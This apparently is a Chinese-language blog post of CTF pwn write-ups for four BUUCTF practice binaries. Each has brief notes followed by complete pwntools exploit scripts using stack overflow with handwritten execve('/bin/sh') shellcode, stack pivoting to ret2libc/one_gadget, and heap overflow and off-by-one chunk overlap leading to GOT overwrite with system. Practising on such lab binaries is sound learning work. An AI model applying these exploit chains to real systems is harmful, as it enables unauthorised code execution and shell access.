read栈溢出,ret2shellcode
题目很精简
开头第一个push压了个栈上的地址,第二个push压了返回地址,sys_read这里造成栈溢出,可以覆盖返回地址
一开始想的是ret2syscall,通过多次rop打orw或者execve,但只有这一处ret gadget,没法控制eax和ebx,然后一看程序居然没开nx,那打ret2shellcode就简单了
执行完一轮ret后,esp刚好指向第一个push压的那个栈上地址(esp+4),可以通过0x8048087这里的gadget将栈上地址给打出来
再向下执行read时,在返回地址处写入(esp+4+0x14),在第二次ret后即可将控制流打向返回地址下方的shellcode
注:shellcraft生成的shellcode太长用不了,自己写一段
from pwn import *
p = process("./start")
offset = 0x14
second_write = 0x08048087
payload = b"A" * offset + p32(second_write)
p.sendafter(":",payload)
stack_addr = u32(p.recv(4))
print("stack_addr ---> ",hex(stack_addr))
#shellcode= b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov al,0xb;int 0x80')
payload= b'a' * offset + p32(stack_addr + offset) + shellcode
p.send(payload)
p.interactive()
gyctf_2020_borrowstack
read栈溢出,栈劫持,ret2libc
read了两次,第一次read溢出16字节
故考虑栈劫持,第一次read将栈劫持到bss,第二次在bss上布置rop
rop的栈布局:p_r->puts_got->puts_plt->main
返回main以后直接将返回地址覆盖为one_gadget
需要注意两点:
- bss段上的bank变量上面就是got,返回main以后sub esp,将栈抬高会影响到got表这些数据,故劫持bss的地址越高越好,这里选择了bank+20*8的地址
- system会抬高栈帧影响到got,故选择one_gadget
from pwn import *
r=remote('node4.buuoj.cn', 27892)
bank=0x0601080
leave=0x400699
puts_plt=0x04004E0
puts_got=0x0601018
pop_rdi=0x400703
main=0x0400626
ret=0x4004c9
r.recvuntil('u want')
payload=b'a'*0x60+p64(bank+20*8)+p64(leave)
r.send(payload)
r.recvuntil('now!')
payload=b'A'*8*21+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.send(payload)
r.recvline()
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print (hex(puts_addr))
libc_base=puts_addr-0x6f690
one_gadget=libc_base+0x4526a
#system=libc_base+libc.dump('system')
#binsh=libc_base+libc.dump('str_bin_sh')
#payload='a'*(0x60+8)+p64(pop_rdi)+p64(binsh)+p64(system)
payload=b'a'*(0x60+8)+p64(one_gadget)
r.send(payload)
r.interactive()
babyfengshui_33c3_2016
堆溢出,数据指针任意地址读写,got表劫持
分配了堆元区和数据区,数据区位于堆元区上方,程序只检查了同一组堆块的数据区是否在堆元区上方,但通过多次分配和释放(比如将数据区和堆元区释放后融合成一块,再申请作为数据区),可以在同一组数据区和堆元区之间插入其他组的堆块,通过数据区可以溢出修改其他组堆块的内容
堆元区中保存有数据指针,可对数据指针进行读写,一般这种情况我们优先考虑修改这个用户指针(不行才考虑unlink、fastbinattack之类),就可以任意地址读写了,泄露libc并篡改got,free("/bin/sh")
特别要注意,"/bin/sh\x00"必须一开始就写入堆块,因为fgets_got位于free_got下方
在修改free_got 4字节后,输入函数会在末尾补\x00,也就是fgets_got的低位会被置0,此时再用fgets输入“/bin/sh\x00”,got会跳转到别的地方!
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './babyfengshui'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 25267)
else:
r = process(file_name)
elf = ELF(file_name)
menu = 'Action: '
def add(malloc_size, name, write_size, content):
r.sendlineafter(menu, '0')
r.sendlineafter('size of description: ', str(malloc_size))
r.sendlineafter('name: ', name)
r.sendlineafter('text length: ', str(write_size))
r.sendlineafter('text: ', content)
def delete(index):
r.sendlineafter(menu, '1')
r.sendlineafter('index: ', str(index))
def show(index):
r.sendlineafter(menu, '2')
r.sendlineafter('index: ', str(index))
def edit(index, write_size, content):
r.sendlineafter(menu, '3')
r.sendlineafter('index: ', str(index))
r.sendlineafter('text length: ', str(write_size))
r.sendlineafter('text: ', content)
add(0x10, b"aaaa", 0x4, b"bbbb")
add(0x10, b"aaaa", 0x4, b"bbbb")
add(0x20, b"aaaa", 0x4, b"bbbb")
add(0x20, b"aaaa", 0x8, b"/bin/sh\x00")
delete(2)
delete(0)
free_got = 0x0804B010
payload = b"c"*0x10 + p32(0x18) + p32(0x89) + b"d"*0x80 + p32(0x88) + p32(0x18) + b"e"*0x10 + p32(0) + p32(0x89) + p32(free_got)
add(0x10, b"aaaa", len(payload), payload)
show(1)
r.recvuntil("description: ")
free_addr = u32(r.recv(4))
print("free_addr ==> " + hex(free_addr))
libc_base = free_addr - 0x00070750
system_addr = libc_base + 0x0003a940
#libc_base = free_addr - 0x71530
#system_addr = libc_base + 0x3adb0
edit(1, 4, p32(system_addr))
delete(3)
r.interactive()
hitcontraining_heapcreator
off by one,chunk extend overlap,数据指针任意地址读写,got表劫持
edit_heap里有一个off by one漏洞
可以溢出覆盖下一个堆块的size字段,free后重新malloc,成功扩大可写范围,同下一个堆元区形成重叠
修改数据指针为free_got,先show后edit,可以泄露libc并修改地址为system,随后free("/bin/sh")
from pwn import * [3/1950]
#p=process('./heapcreator')
p=remote('node4.buuoj.cn', 25014)
elf=ELF('./heapcreator')
context.log_level='debug'
def create(size,content):
p.recvuntil(':')
p.sendline('1')
p.recvuntil('Heap : ')
p.sendline(str(size))
p.recvuntil('heap:')
p.send(content)
def edit(idx,content):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil(' :')
p.sendline(str(idx))
p.recvuntil('heap :')
p.sendline(content)
def show(idx):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil(' :')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('choice :')
p.sendline('4')
p.recvuntil(' :')
p.sendline(str(idx))
create(0x18, b"aaaa") #note0
create(0x20, b"bbbb") #note1
payload = p64(0) + p64(0x21)
create(0x20, payload) #note2
payload = b"/bin/sh\x00" + b"c"*0x10 + b"\x81"
edit(0, payload)
delete(1)
free_got = 0x602018
payload = b"a"*0x40 + p64(0) + p64(0x21) + p64(0x20) + p64(free_got)
create(0x70, payload) #note1
show(2)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("free_addr ==> " + hex(free_addr))
#libc_base = free_addr - 0x84540
#system_addr = libc_base + 0x453a0
libc_base = free_addr - 0x844f0
system_addr = libc_base + 0x45390
payload = p64(system_addr)
edit(2, payload)
delete(0)
p.interactive()
标签:buuctf,addr,p64,p32,sendline,pwn,recvuntil,payload,刷题
From: https://www.cnblogs.com/z5onk0/p/17550197.html